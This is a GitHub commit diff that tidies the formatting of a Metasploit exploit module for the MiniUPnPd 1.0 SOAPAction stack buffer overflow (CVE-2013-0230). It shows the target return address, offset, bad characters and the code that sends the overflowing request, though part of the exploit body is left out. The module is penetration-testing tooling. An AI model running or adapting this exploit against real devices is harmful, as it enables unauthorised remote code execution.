Skip to content

Commit 3111013

Browse files
author
jvazquez-r7
committed
Minor cleanup for miniupnpd_soap_bof
1 parent 6497e5c commit 3111013

File tree

1 file changed

+42
-28
lines changed

1 file changed

+42
-28
lines changed

modules/exploits/linux/upnp/miniupnpd_soap_bof.rb

Lines changed: 42 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -9,41 +9,56 @@
99

1010
class Metasploit3 < Msf::Exploit::Remote
1111
include Msf::Exploit::Remote::HttpClient
12-
Rank = NormalRanking
12+
Rank = NormalRanking
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
17-
'Description' =>
18-
%q{
19-
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability present
20-
in the SOAPAction HTTP header.
21-
},
22-
'Author' => [ 'Dejan Lukan' ],
23-
'License' => MSF_LICENSE,
24-
'DefaultOptions' => { 'EXITFUNC' => 'process', },
16+
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
19+
present in the SOAPAction HTTP header handling.
20+
},
21+
'Author' =>
22+
[
23+
'hdm', # Vulnerability discovery
24+
'Dejan Lukan' # Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'DefaultOptions' => { 'EXITFUNC' => 'process', },
2528
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
2629
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
2730
# of the program is never reached)
28-
'Payload' => { 'Space' => 2060, 'BadChars' => "\x00\x22", 'DisableNops' => true },
29-
'Platform' => 'linux',
30-
'References' => [
31-
[ 'CVE', '2013-0230' ],
32-
[ 'OSVDB', '89624' ],
33-
],
34-
'Targets' =>
31+
'Payload' =>
32+
{
33+
'Space' => 2060,
34+
'BadChars' => "\x00\x22",
35+
'DisableNops' => true
36+
},
37+
'Platform' => 'linux',
38+
'References' =>
39+
[
40+
[ 'CVE', '2013-0230' ],
41+
[ 'OSVDB', '89624' ],
42+
[ 'BID', '57608' ],
43+
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
44+
],
45+
'Targets' =>
3546
[
36-
['Debian GNU/Linux 6.0', { 'Ret' => 0x0804ee43, 'Offset' => 2123 }],
47+
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
48+
{
49+
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
50+
'Offset' => 2123
51+
}
52+
],
3753
],
38-
'DefaultTarget' => 0,
39-
'Privileged' => false,
40-
'DisclosureDate' => 'Mar 27 2013',
41-
))
54+
'DefaultTarget' => 0,
55+
'Privileged' => false,
56+
'DisclosureDate' => 'Mar 27 2013',
57+
))
4258

43-
register_options(
44-
[
45-
Opt::RPORT(5555),
46-
], self.class)
59+
register_options([
60+
Opt::RPORT(5555),
61+
], self.class)
4762
end
4863

4964
def exploit
@@ -92,14 +107,13 @@ def exploit
92107
"</SOAP-ENV:Body>\r\n" +
93108
"</SOAP-ENV:Envelope>\r\n"
94109

95-
96110
#
97111
# Build and send the HTTP request
98112
#
99113
print_status("Sending exploit to victim #{target.name} at ...")
100114
send_request_cgi({
101115
'method' => 'POST',
102-
'uri' => target_uri.path,
116+
'uri' => "/",
103117
'headers' => {
104118
'SOAPAction' => sploit,
105119
},

0 commit comments

Comments
 (0)